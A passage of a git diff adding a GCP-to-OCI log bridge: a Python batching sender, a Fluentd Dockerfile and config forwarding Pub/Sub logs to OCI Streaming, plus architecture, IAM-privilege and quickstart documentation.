+ or self.estimate_batch_bytes(candidate) > max_bytes + ): + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + batch = [p] + else: + batch = candidate + if batch: + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + return (total_sent, total_failed, batches) + + +class MessageBuffer: + """Accumulate messages and auto-flush to OCI when thresholds are hit.""" + + def __init__( + self, + sender: OciStreamSender, + max_count: int, + max_bytes: int, + ): + self.sender = sender + self.max_count = max_count + self.max_bytes = max_bytes + self.buf: List[str] = [] + self.sent = 0 + self.failed = 0 + self.batches = 0 + + def add(self, payload: str): + self.buf.append(payload) + self._flush_if_needed() + + def _flush_if_needed(self, force: bool = False): + if not self.buf: + return + if ( + force + or len(self.buf) >= self.max_count + or OciStreamSender.estimate_batch_bytes(self.buf) >= self.max_bytes + ): + s, f, b = self.sender.send_with_limits( + self.buf, self.max_bytes, self.max_count + ) + self.sent += s + self.failed += f + self.batches += b + self.buf.clear() + logger.info("Flushed to OCI: sent=%d, failed=%d, batches=%d", s, f, b) + + def flush(self): + self._flush_if_needed(force=True) diff --git a/observability-and-management/assets/gcplogs2oci/docker/Dockerfile b/observability-and-management/assets/gcplogs2oci/docker/Dockerfile new file mode 100644 index 000000000..6a184f0eb --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/docker/Dockerfile @@ -0,0 +1,43 @@ +# ───────────────────────────────────────────────────────────── +# Fluentd bridge: GCP Pub/Sub → OCI Streaming (Kafka interface) +# +# Build: +# docker build -t gcp-oci-bridge:latest docker/ +# +# Run locally (test): +# docker run --rm \ +# -v /path/to/gcp-sa-key.json:/mnt/secrets/gcp-key.json:ro \ +# -e OCI_AUTH_TOKEN="" \ +# gcp-oci-bridge:latest +# +# For OCI Container Instances the secrets are mounted via Vault. +# ───────────────────────────────────────────────────────────── + +FROM fluent/fluentd:v1.16-debian-1 + +USER root + +# Build deps for native Ruby gem extensions (Kafka SASL needs libsasl2) +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + build-essential \ + ruby-dev \ + libssl-dev \ + libsasl2-dev && \ + rm -rf /var/lib/apt/lists/* + +# GCP Pub/Sub input plugin +RUN gem install fluent-plugin-gcloud-pubsub-custom --no-document + +# Kafka output plugin (for OCI Streaming) +RUN gem install fluent-plugin-kafka --no-document + +# Optional: prevents systemd-related warnings on startup +RUN gem install fluent-plugin-systemd --no-document + +# Copy configuration +COPY fluent.conf /fluentd/etc/fluent.conf + +USER fluent + +CMD ["fluentd", "-c", "/fluentd/etc/fluent.conf"] diff --git a/observability-and-management/assets/gcplogs2oci/docker/fluent.conf b/observability-and-management/assets/gcplogs2oci/docker/fluent.conf new file mode 100644 index 000000000..621aa0a7c --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/docker/fluent.conf @@ -0,0 +1,69 @@ +# ───────────────────────────────────────────────────────────── +# Fluentd configuration: GCP Pub/Sub → OCI Streaming (Kafka) +# +# Secrets are mounted from OCI Vault at runtime: +# /mnt/secrets/gcp-key.json – GCP service account key +# /mnt/secrets/oci_auth_token – OCI auth token +# +# All placeholders must be replaced before deployment, +# or passed via environment variables using #{ENV['VAR']}. +# ───────────────────────────────────────────────────────────── + + + log_level info + + +# ── SOURCE: GCP Pub/Sub ────────────────────────────────────── + + @type gcloud_pubsub + tag gcp.logs + + # GCP project and subscription + project "#{ENV['GCP_PROJECT_ID']}" + topic "#{ENV['GCP_PUBSUB_TOPIC']}" + subscription "#{ENV['GCP_PUBSUB_SUBSCRIPTION']}" + + # Credentials – path to the Vault-mounted secret file + key /mnt/secrets/gcp-key.json + + # Pull tuning + max_messages 1000 + return_immediately true + pull_interval 0.5 + + format json + + +# ── OUTPUT: OCI Streaming (Kafka protocol) ─────────────────── + + @type kafka2 + + # OCI Streaming endpoint (Kafka interface) + brokers "#{ENV['OCI_STREAM_POOL_ENDPOINT']}:9092" + default_topic "#{ENV['OCI_STREAM_NAME'] || 'gcp-inbound-stream'}" + + # Buffering – memory-backed for resilience + + @type memory + flush_interval 1s + chunk_limit_size 1m + overflow_action block + + + # Preserve JSON format through the pipeline + + @type json + + + # Kafka SASL/SSL authentication for OCI Streaming + use_event_time true + ssl_ca_cert /etc/ssl/certs/ca-certificates.crt + sasl_over_ssl true + sasl_mechanism PLAIN + + # SASL credentials – username from env, password from mounted secret + username "#{ENV['OCI_KAFKA_USERNAME']}" + password "#{File.read('/mnt/secrets/oci_auth_token').strip}" + + client_id fluentd-bridge-container-01 + diff --git a/observability-and-management/assets/gcplogs2oci/docs/ARCHITECTURE.md b/observability-and-management/assets/gcplogs2oci/docs/ARCHITECTURE.md new file mode 100644 index 000000000..cbb9339a3 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/docs/ARCHITECTURE.md @@ -0,0 +1,207 @@ +# Architecture + +## Data Flow + +``` +GCP Cloud Logging + │ + ▼ +Log Router Sink (filter: severity >= DEFAULT, audit logs, etc.) + │ + ▼ +GCP Pub/Sub Topic (oci-log-export-topic) + │ ← 7-day message retention buffer + ▼ +Pull Subscription (fluentd-oci-bridge-sub) + │ + ▼ +┌─────────────────────────────────┐ +│ Bridge (pick one) │ +│ │ +│ A) Python SDK bridge │ +│ (bridge/main.py) │ +│ Uses google-cloud-pubsub │ +│ + oci Python SDK │ +│ │ +│ B) Fluentd container │ +│ (docker/Dockerfile) │ +│ Uses fluent-plugin-gcloud │ +│ + fluent-plugin-kafka │ +└─────────────────────────────────┘ + │ + ▼ +OCI Streaming (gcp-inbound-stream) + │ ← Kafka-compatible, partitioned buffer + ▼ +Connector Hub (GCP-Stream-to-LogAnalytics) + │ ← Managed cursor, auto-retry + ▼ +OCI Log Analytics + │ ← GCP Cloud Logging JSON Parser (44 field mappings) + ▼ +Log Group: GCPLogs + │ ← 40 custom fields: Cloud Provider, Resource Type, HTTP fields, ... + ▼ +Dashboards & Queries +``` + +## Components + +| Stage | Component | Protocol | Resilience | +|------------------|------------------------------|------------------|-----------------------------------| +| Primary Buffer | GCP Pub/Sub | gRPC / REST | 7-day retention, pull delivery | +| Forwarder | Python bridge / Fluentd | gRPC → REST/Kafka| Stateless, restartable | +| Secondary Buffer | OCI Streaming | Kafka (TCP/9092) | Partitioned, configurable retention| +| Orchestration | Connector Hub | Internal | Managed cursor, retry | +| Parsing | GCP Cloud Logging JSON Parser| Internal | 44 JSON field mappings | +| Destination | OCI Log Analytics | Internal | Indexed, queryable, dashboardable | + +## OCI Resources Created by `setup_oci.sh` + +The setup script provisions **7 resources** in sequence: + +| Step | Resource | Type | Purpose | +|------|----------|------|---------| +| 1 | Stream Pool | OCI Streaming | Kafka-compatible pool with SASL/SSL | +| 2 | Stream | OCI Streaming | Message buffer (`gcp-inbound-stream`) | +| 3 | Kafka info | — | Prints bootstrap servers for Fluentd | +| 4 | Log Group | Log Analytics | `GCPLogs` target group | +| 5 | Fields + Parser | Log Analytics | 40 custom fields + JSON parser with 44 mappings | +| 6 | Source | Log Analytics | `GCP Cloud Logging Logs` source (references parser) | +| 7 | Connector Hub | SCH | Streaming → Log Analytics connector | + +## Log Analytics Field Mapping + +The GCP Cloud Logging JSON Parser extracts fields from the [LogEntry](https://cloud.google.com/logging/docs/reference/v2/rest/v2/LogEntry) JSON structure: + +### Built-in Fields + +| OCI Field | JSON Path | GCP Field | +|-----------|-----------|-----------| +| Message | `$.jsonPayload.message` | jsonPayload.message | +| Severity | `$.severity` | severity | +| Time | `$.timestamp` | timestamp | +| Method | `$.protoPayload.methodName` | protoPayload.methodName | + +### Multicloud Field + +| OCI Field | JSON Path | Description | +|-----------|-----------|-------------| +| Cloud Provider | `$.cloudProvider` | Injected by bridge (`"GCP"`) for multicloud dashboards | + +### Core GCP LogEntry Fields + +| OCI Field | JSON Path | +|-----------|-----------| +| GCP Insert ID | `$.insertId` | +| GCP Log Name | `$.logName` | +| GCP Resource Type | `$.resource.type` | +| GCP Project ID | `$.resource.labels.project_id` | +| GCP Service Name | `$.protoPayload.serviceName` | +| GCP Method Name | `$.protoPayload.methodName` | +| GCP Principal Email | `$.protoPayload.authenticationInfo.principalEmail` | +| GCP Zone | `$.resource.labels.zone` | +| GCP Instance ID | `$.resource.labels.instance_id` | +| GCP Trace ID | `$.trace` | +| GCP Span ID | `$.spanId` | +| GCP Text Payload | `$.textPayload` | +| GCP Receive Timestamp | `$.receiveTimestamp` | + +### HTTP Request Fields (Cloud Run, Load Balancer) + +| OCI Field | JSON Path | +|-----------|-----------| +| GCP HTTP Method | `$.httpRequest.requestMethod` | +| GCP HTTP URL | `$.httpRequest.requestUrl` | +| GCP HTTP Status | `$.httpRequest.status` | +| GCP HTTP Latency | `$.httpRequest.latency` | +| GCP HTTP Protocol | `$.httpRequest.protocol` | +| GCP HTTP Remote IP | `$.httpRequest.remoteIp` | +| GCP HTTP Request Size | `$.httpRequest.requestSize` | +| GCP HTTP Response Size | `$.httpRequest.responseSize` | +| GCP HTTP Server IP | `$.httpRequest.serverIp` | +| GCP HTTP User Agent | `$.httpRequest.userAgent` | + +### Cloud Run Resource Labels + +| OCI Field | JSON Path | +|-----------|-----------| +| GCP Configuration Name | `$.resource.labels.configuration_name` | +| GCP Location | `$.resource.labels.location` | +| GCP Cloud Run Service | `$.resource.labels.service_name` | +| GCP Revision Name | `$.resource.labels.revision_name` | +| GCP Label Instance ID | `$.labels.instanceId` | + +### Audit Log Extended Fields + +| OCI Field | JSON Path | +|-----------|-----------| +| GCP Resource Name | `$.protoPayload.resourceName` | +| GCP Caller IP | `$.protoPayload.requestMetadata.callerIp` | +| GCP Caller User Agent | `$.protoPayload.requestMetadata.callerSuppliedUserAgent` | + +### Resource Labels (Multi-Type) + +| OCI Field | JSON Path | Resource Types | +|-----------|-----------|----------------| +| GCP Subscription ID | `$.resource.labels.subscription_id` | pubsub_subscription | +| GCP Topic ID | `$.resource.labels.topic_id` | pubsub_topic | +| GCP Sink Name | `$.resource.labels.name` | logging_sink | +| GCP Sink Destination | `$.resource.labels.destination` | logging_sink | + +### Operation & Source Location + +| OCI Field | JSON Path | +|-----------|-----------| +| GCP Operation ID | `$.operation.id` | +| GCP Source File | `$.sourceLocation.file` | +| GCP Source Line | `$.sourceLocation.line` | +| GCP Source Function | `$.sourceLocation.function` | + +### Multicloud Dashboard Support + +The bridge injects `cloudProvider: "GCP"` into every log entry before sending to OCI Streaming. This enables multicloud dashboards: + +``` +'Cloud Provider' = 'GCP' | stats count by 'GCP Resource Type' +``` + +``` +* | stats count by 'Cloud Provider' +``` + +The parser handles partial field extraction — fields not present in a particular log entry (e.g., `httpRequest` for stdout logs) are null. + +## Bridge Options + +### Option A: Python SDK Bridge (Recommended for Development & Testing) + +- Runs as a long-lived Python process +- Uses `google-cloud-pubsub` streaming pull API with callback-based processing +- Writes to OCI Streaming via `oci` Python SDK PutMessages API +- Supports drain mode (`--drain`) — exits after inactivity timeout +- GCP auth: Application Default Credentials (ADC) or service account key +- OCI auth: API signing key from `OCI_KEY_FILE` (local) or `OCI_KEY_CONTENT` (CI/containers) + +### Option B: Fluentd Container (Recommended for Production on OCI) + +- Runs as a Docker container on OCI Container Instances +- Uses `fluent-plugin-gcloud-pubsub-custom` for GCP pull +- Uses `fluent-plugin-kafka` for OCI Streaming output (Kafka protocol) +- Secrets mounted from OCI Vault at `/mnt/secrets/` +- No VM required (serverless container instance) + +## Security + +- **GCP credentials**: Application Default Credentials for local dev; service account JSON key stored in OCI Vault for production, never committed to git +- **OCI credentials**: API signing key via file path (local) or inline PEM (CI); auth token for Kafka interface +- **Network**: Container Instance runs in private subnet with NAT gateway (outbound only) +- **Encryption**: TLS 1.2 in transit, AES-256 at rest (both clouds) +- **Least privilege**: GCP bridge SA uses resource-scoped Pub/Sub roles; OCI uses explicit SCH/bridge policies (see `docs/IAM_PRIVILEGES.md`) + +## Failure Modes + +1. **Bridge crash**: GCP Pub/Sub retains unacknowledged messages; bridge resumes from last checkpoint +2. **OCI Streaming down**: Python bridge buffer fills and backpressure stops pulls; Fluentd `overflow_action block` does the same +3. **Log Analytics maintenance**: Connector Hub holds its cursor; Stream retains data (configurable up to 7 days) +4. **Parser mismatch**: JSON parser extracts null for missing fields (no errors); raw JSON is always stored in `Original Log Content` diff --git a/observability-and-management/assets/gcplogs2oci/docs/IAM_PRIVILEGES.md b/observability-and-management/assets/gcplogs2oci/docs/IAM_PRIVILEGES.md new file mode 100644 index 000000000..7be724f09 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/docs/IAM_PRIVILEGES.md @@ -0,0 +1,122 @@ +# IAM Privileges by Used Service + +This project touches both **Google Cloud** and **Oracle Cloud Infrastructure (OCI)** services. The recommendations below are derived from the API operations in: + +- `bridge/gcp_subscriber.py` +- `bridge/oci_stream_sender.py` +- `scripts/setup_gcp.sh` +- `scripts/setup_oci.sh` +- `scripts/test_gcp_credentials.py` +- `scripts/test_oci_credentials.py` + +Two IAM helper scripts are provided and are idempotent: + +- `./scripts/setup_gcp_iam.sh` +- `./scripts/setup_oci_iam.sh` + +## Canonical Service Names (Vendor Docs) + +| CSP | Service name used in this repo | Vendor documentation | +|---|---|---| +| GCP | Cloud Logging | [Cloud Logging docs](https://docs.cloud.google.com/logging/docs) | +| GCP | Pub/Sub | [Pub/Sub overview](https://docs.cloud.google.com/pubsub/docs/overview) | +| OCI | Streaming | [Streaming docs](https://docs.oracle.com/en-us/iaas/Content/Streaming/home.htm) | +| OCI | Log Analytics | [Log Analytics docs](https://docs.oracle.com/en-us/iaas/log-analytics/home.htm) | +| OCI | Connector Hub (formerly Service Connector Hub) | [Connector Hub overview](https://docs.oracle.com/en-us/iaas/Content/connector-hub/overview.htm) | + +## GCP + +### Runtime and Integration Principals + +| Principal | Used service | Why | Recommended privilege | Documentation | +|---|---|---|---|---| +| Bridge service account (`oci-log-shipper-sa`) | Pub/Sub subscription | `SubscriberClient.subscribe()` + ack/nack | `roles/pubsub.subscriber` on the bridge subscription | [Pub/Sub IAM access control](https://docs.cloud.google.com/pubsub/docs/access-control) | +| Bridge service account (`oci-log-shipper-sa`) | Pub/Sub topic/subscription metadata | Credential/status diagnostics (`get_topic`, `get_subscription`) | `roles/pubsub.viewer` on the bridge topic and subscription | [Pub/Sub IAM access control](https://docs.cloud.google.com/pubsub/docs/access-control) | +| Logging sink writer identity (`gcp-to-oci-sink`) | Cloud Logging + Pub/Sub topic | Cloud Logging sink publishes exported logs into Pub/Sub | `roles/pubsub.publisher` on the bridge topic | [Route log entries (Log Router)](https://docs.cloud.google.com/logging/docs/routing/overview), [Pub/Sub IAM access control](https://docs.cloud.google.com/pubsub/docs/access-control) | + +### Setup Principal (Optional, automation only) + +If you use a dedicated principal for `setup_gcp.sh`, grant: + +- `roles/serviceusage.serviceUsageAdmin` +- `roles/pubsub.admin` +- `roles/logging.configWriter` +- `roles/iam.serviceAccountAdmin` +- `roles/iam.serviceAccountKeyAdmin` +- `roles/resourcemanager.projectIamAdmin` + +References: + +- [Service Usage IAM](https://docs.cloud.google.com/service-usage/docs/access-control) +- [Pub/Sub IAM access control](https://docs.cloud.google.com/pubsub/docs/access-control) +- [Cloud Logging IAM roles](https://docs.cloud.google.com/logging/docs/access-control) +- [IAM roles overview](https://docs.cloud.google.com/iam/docs/understanding-roles) + +`setup_gcp_iam.sh` applies these optional setup roles only when `GCP_SETUP_PRINCIPAL` is set. + +## OCI + +### Runtime and Integration Principals + +| Principal | Used service | Why | Recommended privilege | Documentation | +|---|---|---|---|---| +| Bridge runtime group (API-key user in this group) | Streaming | `StreamClient.put_messages()` in `bridge/oci_stream_sender.py` | `use stream-push` in target compartment | [Streaming docs](https://docs.oracle.com/en-us/iaas/Content/Streaming/home.htm), [Streaming policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/streamingpolicyreference.htm) | +| Bridge runtime group (API-key user in this group) | Streaming metadata | `StreamAdminClient.get_stream()` in `scripts/test_oci_credentials.py` | `inspect streams` in target compartment | [Streaming policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/streamingpolicyreference.htm) | +| Connector Hub service principal (formerly Service Connector Hub) | Streaming | Reads from OCI Stream source | `use stream-pull` + `use stream-consume` with `request.principal.type='serviceconnector'` | [Connector Hub overview](https://docs.oracle.com/en-us/iaas/Content/connector-hub/overview.htm), [Streaming policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/streamingpolicyreference.htm) | +| Connector Hub service principal (formerly Service Connector Hub) | Log Analytics | Writes into target log group | `use log-analytics-log-group` with `request.principal.type='serviceconnector'` | [Log Analytics docs](https://docs.oracle.com/en-us/iaas/log-analytics/home.htm), [Log Analytics policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/loganalyticspolicyreference.htm) | + +### Setup Operator Group (Optional, automation only) + +If you use a dedicated OCI group for `setup_oci.sh` / `destroy_oci.sh`, grant: + +- `manage stream-pools` +- `manage streams` +- `manage serviceconnectors` +- `manage log-analytics-log-group` +- `manage loganalytics-features-family` + +All scoped to the target compartment. + +References: + +- [Connector Hub policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/serviceconnectorhubpolicyreference.htm) +- [Streaming policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/streamingpolicyreference.htm) +- [Log Analytics policy reference](https://docs.oracle.com/en-us/iaas/Content/Identity/policyreference/loganalyticspolicyreference.htm) + +Note: OCI IAM resource-types above intentionally use exact policy-reference spellings (`serviceconnectors`, `loganalytics-features-family`, `stream-pull`, `stream-push`). + +## Usage + +### Apply GCP IAM + +```bash +./scripts/setup_gcp_iam.sh +``` + +Optional setup roles: + +```bash +GCP_SETUP_PRINCIPAL="user:admin@example.com" ./scripts/setup_gcp_iam.sh +``` + +### Apply OCI IAM + +`setup_oci_iam.sh` always applies Connector Hub runtime policy. + +```bash +./scripts/setup_oci_iam.sh +``` + +To also apply operator + bridge group policies: + +```bash +OCI_IAM_OPERATOR_GROUP="gcplogs2oci-operators" \ +OCI_IAM_BRIDGE_GROUP="gcplogs2oci-bridge" \ +./scripts/setup_oci_iam.sh +``` + +Connector-Hub-only mode: + +```bash +./scripts/setup_oci_iam.sh --sch-only +``` diff --git a/observability-and-management/assets/gcplogs2oci/docs/QUICKSTART.md b/observability-and-management/assets/gcplogs2oci/docs/QUICKSTART.md new file mode 100644 index 000000000..416789e1d --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/docs/QUICKSTART.md @@ -0,0 +1,315 @@ +# Quickstart + +End-to-end setup from zero to seeing GCP logs in OCI Log Analytics. + +## Prerequisites + +| Requirement | Details | +|-------------|---------| +| **GCP** | Project with Cloud Logging and Pub/Sub APIs enabled; `gcloud` CLI installed and authenticated | +| **OCI** | Tenancy with Streaming and Log Analytics **onboarded**; `oci` CLI configured (`oci setup config`) | +| **Python** | 3.11+ with `pip` | +| **OCI Python SDK** | `oci >= 2.124.0` (included in `requirements.txt`; needed by `setup_oci.sh` for field/parser creation) | +| **Docker** | Optional — only needed for the Fluentd production path | + +### Required IAM Privileges + +This repository now includes IAM helper scripts for both clouds: + +```bash +./scripts/setup_gcp_iam.sh +./scripts/setup_oci_iam.sh +``` + +The exact privilege matrix is documented in [IAM_PRIVILEGES.md](IAM_PRIVILEGES.md). + +Used service references: + +| CSP | Service | Documentation | +|---|---|---| +| GCP | Cloud Logging | [Cloud Logging docs](https://docs.cloud.google.com/logging/docs) | +| GCP | Pub/Sub | [Pub/Sub overview](https://docs.cloud.google.com/pubsub/docs/overview) | +| OCI | Streaming | [OCI Streaming docs](https://docs.oracle.com/en-us/iaas/Content/Streaming/home.htm) | +| OCI | Log Analytics | [OCI Log Analytics docs](https://docs.oracle.com/en-us/iaas/log-analytics/home.htm) | +| OCI | Connector Hub (formerly Service Connector Hub) | [OCI Connector Hub overview](https://docs.oracle.com/en-us/iaas/Content/connector-hub/overview.htm) | + +#### OCI + +The user running `setup_oci.sh` needs these permissions in the target compartment: + +``` +Allow group to manage streams in compartment +Allow group to manage stream-pools in compartment +Allow group to manage log-analytics-log-group in compartment +Allow group to manage loganalytics-features-family in compartment +Allow group to manage serviceconnectors in compartment +``` + +Connector Hub (formerly Service Connector Hub) also needs policies to consume the stream and write to Log Analytics: + +``` +Allow any-user to use stream-pull in compartment where all {request.principal.type='serviceconnector'} +Allow any-user to use stream-consume in compartment where all {request.principal.type='serviceconnector'} +Allow any-user to use log-analytics-log-group in compartment where all {request.principal.type='serviceconnector'} +``` + +#### GCP + +For bridge runtime (service account), recommended least privilege is: + +``` +roles/pubsub.subscriber on the bridge subscription +roles/pubsub.viewer on the bridge subscription/topic (diagnostics) +roles/pubsub.publisher on the bridge topic for the Log Router sink writer identity +``` + +### Onboard OCI Log Analytics + +If Log Analytics has not been activated in your tenancy, do so before running `setup_oci.sh`: + +1. Go to **OCI Console > Observability & Management > Log Analytics** +2. Click **Start Using Log Analytics** (one-time per tenancy) +3. Wait for onboarding to complete + +The `setup_oci.sh` script auto-detects the Log Analytics namespace, which only exists after onboarding. + +## 1. Clone and Configure + +```bash +git clone https://github.com/adibirzu/gcplogs2oci.git +cd gcplogs2oci +cp .env.example .env.local # fill in GCP + OCI auth values (see below) +python3 -m venv .venv && source .venv/bin/activate +pip install -r requirements.txt +``` + +Edit `.env.local` with your **GCP project ID** and **OCI authentication credentials** (user OCID, key file, fingerprint, tenancy, region, compartment). The OCI Stream OCID and message endpoint will be filled in *after* running `setup_oci.sh` in step 3. + +See `.env.example` for all available variables and their descriptions. + +### GCP Authentication + +The bridge uses **Application Default Credentials (ADC)** — no service account key file needed for local development: + +```bash +gcloud auth application-default login +``` + +For CI/production environments, create a service account with the Pub/Sub runtime roles above, download a JSON key, and set: + +``` +GOOGLE_APPLICATION_CREDENTIALS=/path/to/gcp-sa-key.json +``` + +### OCI Authentication + +1. Run `oci setup config` if you haven't already (creates `~/.oci/config` and generates an API signing key) +2. **Upload the public key** to OCI Console: **Identity > Users > your user > API Keys > Add API Key** +3. Set the key path in `.env.local`: + +``` +OCI_KEY_FILE=~/.oci/oci_api_key.pem +``` + +For CI/containers, provide the PEM inline instead: + +``` +OCI_KEY_CONTENT="-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" +``` + +## 2. Provision GCP Resources + +```bash +# Creates: Pub/Sub topic + subscription, Log Router sink, service account + IAM bindings +./scripts/setup_gcp.sh +``` + +This creates: +- **Pub/Sub topic** (`oci-log-export-topic`) with 7-day message retention +- **Pull subscription** (`fluentd-oci-bridge-sub`) with 60s ack deadline, no expiration +- **Log Router sink** (`gcp-to-oci-sink`) routing matching logs to the topic +- **Service account** IAM bindings for Pub/Sub access + +Apply recommended GCP IAM bindings (idempotent): + +```bash +./scripts/setup_gcp_iam.sh +``` + +Validate GCP credentials: + +```bash +python scripts/test_gcp_credentials.py +``` + +## 3. Provision OCI Resources + +Apply the recommended OCI IAM policies first (idempotent): + +```bash +./scripts/setup_oci_iam.sh +``` + +This applies Connector Hub runtime policy and, when configured, optional operator/bridge group policies. + +```bash +# Creates 7 resources: Stream Pool, Stream, Log Group, custom fields, parser, source, SCH +./scripts/setup_oci.sh +``` + +The script automatically provisions the full pipeline in 7 steps: + +1. **Stream Pool** — Kafka-compatible pool with SASL/SSL +2. **Stream** — `gcp-inbound-stream` message buffer +3. **Kafka connection info** — Prints bootstrap servers for the Fluentd path +4. **Log Analytics Log Group** — `GCPLogs` (or custom name via `OCI_LOG_GROUP_NAME`) +5. **Custom fields + JSON parser** — 40 GCP-specific fields and a 44-mapping JSON parser covering all [GCP Cloud Logging](https://cloud.google.com/logging/docs/structured-logging) resource types (audit, Cloud Run, Pub/Sub, etc.) +6. **Log Analytics source** — `GCP Cloud Logging Logs` source using the custom parser +7. **Connector Hub** — `GCP-Stream-to-LogAnalytics` connecting stream to log group + +After setup, **update `.env.local`** with the printed values: + +``` +OCI_STREAM_OCID=ocid1.stream.oc1... # from step 2 +OCI_MESSAGE_ENDPOINT=https://cell-1... # from step 3 +OCI_LOG_ANALYTICS_NAMESPACE=... # from step 4 (or auto-detected) +``` + +Validate OCI credentials: + +```bash +python scripts/test_oci_credentials.py +``` + +## 4. End-to-End Test + +### Publish test messages to GCP Pub/Sub: + +```bash +python scripts/publish_test_message.py --count 5 +``` + +### Run the bridge in drain mode: + +```bash +python -m bridge.main --drain +``` + +Expected output: + +``` +Bridge initialised | project=my-project | subscription=fluentd-oci-bridge-sub ... +Streaming pull started ... +Flushed to OCI: sent=5, failed=0, batches=1 +Inactivity timeout (30s) reached, stopping +Bridge stopped | processed=5 | sent=5 | failed=0 | errors=0 | batches=1 +``` + +### Verify in OCI Log Analytics: + +After the bridge sends messages, Connector Hub automatically forwards them from the stream to Log Analytics. Query using the OCI CLI: + +```bash +# macOS: +TIME_START="$(date -u -v-1H +%Y-%m-%dT%H:%M:%S.000Z)" +# Linux: +# TIME_START="$(date -u -d '1 hour ago' +%Y-%m-%dT%H:%M:%S.000Z)" + +oci log-analytics query search \ + --namespace-name "$OCI_LOG_ANALYTICS_NAMESPACE" \ + --compartment-id "$OCI_COMPARTMENT_OCID" \ + --query-string "'Log Source' = 'GCP Cloud Logging Logs' | fields 'Cloud Provider', Severity, Message, 'GCP Insert ID', 'GCP Resource Type', 'GCP Project ID' | head 5" \ + --sub-system LOG \ + --time-start "$TIME_START" \ + --time-end "$(date -u +%Y-%m-%dT%H:%M:%S.000Z)" +``` + +You should see records with extracted GCP fields: + +``` +Cloud Provider: GCP +GCP Insert ID: test-xxxx-0 +GCP Resource Type: gce_instance +GCP Project ID: test-project +Severity: INFO +Message: Test audit log entry #0 from gcplogs2oci publish_test_message.py +``` + +## 5. Continuous Mode + +For production-style long-running operation: + +```bash +python -m bridge.main +``` + +Or use the Docker/Fluentd path (see [ARCHITECTURE.md](ARCHITECTURE.md)): + +```bash +docker build -t gcp-oci-bridge:latest docker/ +docker run --rm \ + -v "$PWD/gcp-sa-key.json:/mnt/secrets/gcp-key.json:ro" \ + -e GCP_PROJECT_ID="$GCP_PROJECT_ID" \ + -e GCP_PUBSUB_TOPIC="$GCP_PUBSUB_TOPIC" \ + -e GCP_PUBSUB_SUBSCRIPTION="$GCP_PUBSUB_SUBSCRIPTION" \ + -e OCI_STREAM_POOL_ENDPOINT="$OCI_STREAM_POOL_ENDPOINT" \ + -e OCI_KAFKA_USERNAME="$OCI_KAFKA_USERNAME" \ + -e OCI_AUTH_TOKEN="$OCI_AUTH_TOKEN" \ + gcp-oci-bridge:latest +``` + +## 6. Querying Logs in OCI Log Analytics + +Once logs are flowing, use these sample queries in the OCI Console (Log Explorer) or via CLI: + +``` +# Count logs by GCP resource type +'Cloud Provider' = GCP | stats count by 'GCP Resource Type' + +# Find audit logs by a specific principal +'GCP Principal Email' = 'user@example.com' | sort by Time desc + +# Errors from a specific GCP project +'GCP Project ID' = 'my-project' AND Severity = ERROR | head 20 + +# Cloud Run HTTP request analysis +'GCP HTTP Method' = GET | fields 'GCP HTTP URL', 'GCP HTTP Status', 'GCP HTTP Latency', 'GCP HTTP User Agent' + +# Cloud Run service overview +'GCP Resource Type' = cloud_run_revision | stats count by 'GCP Cloud Run Service', 'GCP Location' + +# Multicloud: compare log volume across cloud providers +* | stats count by 'Cloud Provider' +``` + +See the [Architecture doc](ARCHITECTURE.md) for the full field mapping reference. + +## 7. Status Audit + +Check the health of all provisioned resources, credentials, and bridge configuration: + +```bash +./scripts/status.sh +``` + +The script checks every GCP and OCI resource, reports `[OK]`, `[WARN]`, or `[FAIL]` for each, and provides a summary with next-step guidance. + +## 8. Tear Down + +To remove all resources created by the setup scripts (useful for testing or cleanup): + +```bash +# Interactive — asks for confirmation before deleting +./scripts/destroy_gcp.sh +./scripts/destroy_oci.sh + +# Non-interactive — skip confirmation (CI/scripted teardown) +./scripts/destroy_gcp.sh --force +./scripts/destroy_oci.sh --force +``` + +**Deletion order matters.** The scripts handle this automatically: +- OCI: SCH → Source → Parser → Fields → Log Group → Stream → Stream Pool +- GCP: Sink → Subscription → Topic → Service Account → Key file + +After destroying, you can re-run `setup_gcp.sh` and `setup_oci.sh` for a clean re-deployment. diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-fields.png b/observability-and-management/assets/gcplogs2oci/images/gcp-fields.png new file mode 100644 index 000000000..9e44e231d Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-fields.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-logs.png b/observability-and-management/assets/gcplogs2oci/images/gcp-logs.png new file mode 100644 index 000000000..977c2e0fe Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-logs.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-parser.png b/observability-and-management/assets/gcplogs2oci/images/gcp-parser.png new file mode 100644 index 000000000..39a4777b0 Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-parser.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup-1.png b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-1.png new file mode 100644 index 000000000..25f7b90f9 Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-1.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup-2.png b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-2.png new file mode 100644 index 000000000..775a62e58 Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-2.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup-3.png b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-3.png new file mode 100644 index 000000000..6dae11164 Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-3.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup-4.png 